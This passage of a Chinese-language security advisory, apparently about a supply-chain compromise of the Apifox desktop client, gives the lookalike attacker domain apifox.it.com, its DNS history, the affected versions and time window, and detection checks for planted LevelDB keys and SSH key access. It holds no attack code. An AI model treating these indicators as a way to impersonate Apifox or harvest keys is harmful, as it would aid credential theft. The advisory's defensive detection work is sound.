8px;color: rgb(63, 63, 63);"><p><span leaf="">• 无公开 WHOIS 信息，注册门槛极低</span></p></li><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.5em 8px;color: rgb(63, 63, 63);"><p><span leaf="">• 视觉上容易被误认为：</span></p></li><ul style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);list-style: none;margin: 0px;padding: 0px 0px 0px 1.5em;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.5em 8px;color: rgb(63, 63, 63);"><p><span leaf="">• Apifox 内部测试/研发域名</span></p></li><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.5em 8px;color: rgb(63, 63, 63);"><p><span leaf="">• Apifox 意大利区域服务域名</span></p></li><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.5em 8px;color: rgb(63, 63, 63);"><p><span leaf="">• Apifox 官方子产品域名</span></p></li></ul></ul><h3 style="box-sizing: border-box;border-width: 0px 0px 1px 4px;border-style: solid solid dashed;border-color: rgb(229, 229, 229) rgb(229, 229, 229) rgb(0, 152, 116) rgb(0, 152, 116);font-size: 16.8px;font-weight: bold;margin: 2em 8px 0.75em 0px;text-align: left;line-height: 1.2;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;padding-left: 12px;color: rgb(63, 63, 63);"><span leaf="">3.2 DNS 解析历史</span></h3><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);padding: 0px 8px;max-width: 100%;overflow: auto;"><table style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: inherit;text-indent: 0px;border-collapse: collapse;border-spacing: 0px;"><thead><tr style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">IP 地址</span></p></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">所属组织</span></p></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">首次发现</span></p></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">最后发现</span></p></td></tr></thead><tbody><tr style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">104.21.2.104</span></code></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">Cloudflare, Inc.</span></p></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">2026-03-04</span></p></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">2026-03-22</span></p></td></tr><tr style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">172.67.129.21</span></code></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">Cloudflare, Inc.</span></p></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">2026-03-04</span></p></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">2026-03-22</span></p></td></tr></tbody></table></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">当前状态</span></strong><span leaf="">：DNS 记录已于 2026-03-22 下线，域名不再解析。</span></p><hr style="box-sizing: border-box;border: none;height: 1px;color: inherit;margin: 2em 0px;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;transform-origin: 0px 0px;transform: scale(1, 0.5);background: linear-gradient(to right, rgba(0, 0, 0, 0), rgba(0, 0, 0, 0.1), rgba(0, 0, 0, 0));"/><h2 style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-size: 18.2px;font-weight: bold;margin: 4em auto 2em;text-align: center;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;display: table;padding: 0.3em 1em;color: rgb(255, 255, 255);background: rgb(0, 152, 116);border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.1) 0px 4px 6px;"><span leaf="">四、影响范围评估</span></h2><h3 style="box-sizing: border-box;border-width: 0px 0px 1px 4px;border-style: solid solid dashed;border-color: rgb(229, 229, 229) rgb(229, 229, 229) rgb(0, 152, 116) rgb(0, 152, 116);font-size: 16.8px;font-weight: bold;margin: 2em 8px 0.75em 0px;text-align: left;line-height: 1.2;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;padding-left: 12px;color: rgb(63, 63, 63);"><span leaf="">4.1 受影响条件</span></h3><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">同时满足以下条件的用户可能受影响</span></strong><span leaf="">：</span></p><ol style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);list-style: none;margin: 0px;padding: 0px 0px 0px 1.5em;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.5em 8px;color: rgb(63, 63, 63);"><p><span leaf="">1. ✅ 使用 Apifox </span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">公网 SaaS 版桌面客户端</span></strong><span leaf="">（非网页版）</span></p></li><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.5em 8px;color: rgb(63, 63, 63);"><p><span leaf="">2. ✅ 在 </span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">2026年3月4日 - 3月22日</span></strong><span leaf=""> 期间启动过 Apifox</span></p></li><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.5em 8px;color: rgb(63, 63, 63);"><p><span leaf="">3. ✅ 客户端版本 </span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">低于 2.8.19</span></strong></p></li><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.5em 8px;color: rgb(63, 63, 63);"><p><span leaf="">4. ✅ 网络可访问 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">apifox.it.com</span></code><span leaf="">（当时 DNS 生效）</span></p></li></ol><h3 style="box-sizing: border-box;border-width: 0px 0px 1px 4px;border-style: solid solid dashed;border-color: rgb(229, 229, 229) rgb(229, 229, 229) rgb(0, 152, 116) rgb(0, 152, 116);font-size: 16.8px;font-weight: bold;margin: 2em 8px 0.75em 0px;text-align: left;line-height: 1.2;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;padding-left: 12px;color: rgb(63, 63, 63);"><span leaf="">4.2 不受影响的情况</span></h3><ul style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);list-style: none;margin: 0px;padding: 0px 0px 0px 1.5em;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.5em 8px;color: rgb(63, 63, 63);"><p><span leaf="">• ❌ 仅使用 Apifox </span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">网页版</span></strong></p></li><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.5em 8px;color: rgb(63, 63, 63);"><p><span leaf="">• ❌ 使用 </span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">私有化部署版本</span></strong></p></li><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.5em 8px;color: rgb(63, 63, 63);"><p><span leaf="">• ❌ 在攻击时间窗口外使用</span></p></li><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.5em 8px;color: rgb(63, 63, 63);"><p><span leaf="">• ❌ 已升级至 </span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">2.8.19 及以上版本</span></strong></p></li></ul><hr style="box-sizing: border-box;border: none;height: 1px;color: inherit;margin: 2em 0px;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;transform-origin: 0px 0px;transform: scale(1, 0.5);background: linear-gradient(to right, rgba(0, 0, 0, 0), rgba(0, 0, 0, 0.1), rgba(0, 0, 0, 0));"/><h2 style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-size: 18.2px;font-weight: bold;margin: 4em auto 2em;text-align: center;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;display: table;padding: 0.3em 1em;color: rgb(255, 255, 255);background: rgb(0, 152, 116);border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.1) 0px 4px 6px;"><span leaf="">五、排查指南</span></h2><h3 style="box-sizing: border-box;border-width: 0px 0px 1px 4px;border-style: solid solid dashed;border-color: rgb(229, 229, 229) rgb(229, 229, 229) rgb(0, 152, 116) rgb(0, 152, 116);font-size: 16.8px;font-weight: bold;margin: 2em 8px 0.75em 0px;text-align: left;line-height: 1.2;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;padding-left: 12px;color: rgb(63, 63, 63);"><span leaf="">5.0 快速判断标准</span></h3><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);padding: 0px 8px;max-width: 100%;overflow: auto;"><table style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: inherit;text-indent: 0px;border-collapse: collapse;border-spacing: 0px;"><thead><tr style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">检测方法</span></p></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">判断标准</span></p></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">结果</span></p></td></tr></thead><tbody><tr style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">LevelDB 存储键</span></strong></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">存在 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">rl_mc</span></code><span leaf=""> 或 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">rl_headers</span></code><span leaf=""> 键</span></p></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">🔴 </span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">已中招</span></strong></p></td></tr><tr style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">网络状态文件</span></strong></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">包含 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">apifox.it.com</span></code><span leaf=""> 域名</span></p></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">🔴 </span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">已中招</span></strong></p></td></tr><tr style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">SSH 密钥访问时间</span></strong></td><td 